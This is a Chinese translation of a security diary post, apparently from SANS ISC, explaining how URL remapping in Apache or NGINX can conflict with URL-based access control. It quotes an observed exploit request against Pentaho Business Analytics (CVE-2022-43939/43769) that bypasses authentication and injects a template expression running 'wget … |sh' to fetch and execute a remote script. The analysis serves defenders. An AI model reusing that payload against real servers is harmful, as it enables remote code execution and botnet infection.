URL映射与基于URL的访问控制冲突解析

本文深入分析了URL映射与基于URL的访问控制之间的安全冲突问题,通过真实漏洞案例揭示了配置错误导致的安全风险,并提供了Apache和NGINX服务器的配置示例及防护建议。

URL映射与基于URL的访问控制之间的冲突

我们持续遇到与URL映射(或“别名”)和基于URL的访问控制相关的高危漏洞。上周我们报道了Oracle Identity Manager漏洞。今天我注意到针对具有相似根源的旧漏洞进行的一些扫描:

1
/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23%7BT(java.lang.Runtime).getRuntime().exec('wget%20-qO-%20http%3A%2F%2F[redacted]%2Frondo.pms.sh%7Csh')%7D&mgrDn=a&pwd=a

此请求试图利用Hitachi Vantara Pentaho Business Analytics Server中的漏洞(CVE-2022-43939和CVE-2022-43769)。在这种情况下,URL的末尾(/require.js)绕过了身份验证。然而,请求仍由"ldapTreeNodeChildren"处理,该组件存在模板注入漏洞,导致代码被执行。与上周类似,似乎"Chicago Rapper" Rondo僵尸网络再次利用此漏洞。

现在让我们来研究这个问题的根本原因。

对于许多应用程序来说,将某些URL从身份验证中排除是有意义的。例如,帮助页面、密码重置页面或客户支持联系页面可能需要即使用户未登录也可访问。

Web服务器提供了多种选项来将URL映射到Web服务器文件系统上的文件。例如,对于我们的API,我们在Apache配置中使用以下指令:

1
2
3
RewriteEngine On
RewriteBase /api
RewriteRule ^.*$ index.html

在NGINX中,“Location"指令通常用于将不同的URL映射到特定文件。NGINX中一个非常常见的配置选项:

1
2
3
location / {
    try_files $uri $uri/ /index.html;
}

如果实际文件不可用,将返回"index.html"而不是错误页面。

以上示例本身不一定不安全。但是,必须在应用程序可能强制执行的任何访问控制规则的背景下考虑它们。特别是Java开发人员似乎在这个问题上遇到困难,可能是因为某些应用程序的复杂性或在Java应用程序中使用更多应用程序特定路径。

另一个常见问题是正则表达式的误用。例如,将字面意义的”.“误认为正则表达式的"任意字符"通配符,或者缺少用于终止字符串的锚点(^, $)。在审查Web服务器配置时,请仔细检查任何URL重新映射指令,并验证它们是否与有关身份验证和访问控制的任何假设冲突。

– Johannes B. Ullrich, Ph.D., SANS.edu研究院长

关键词:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计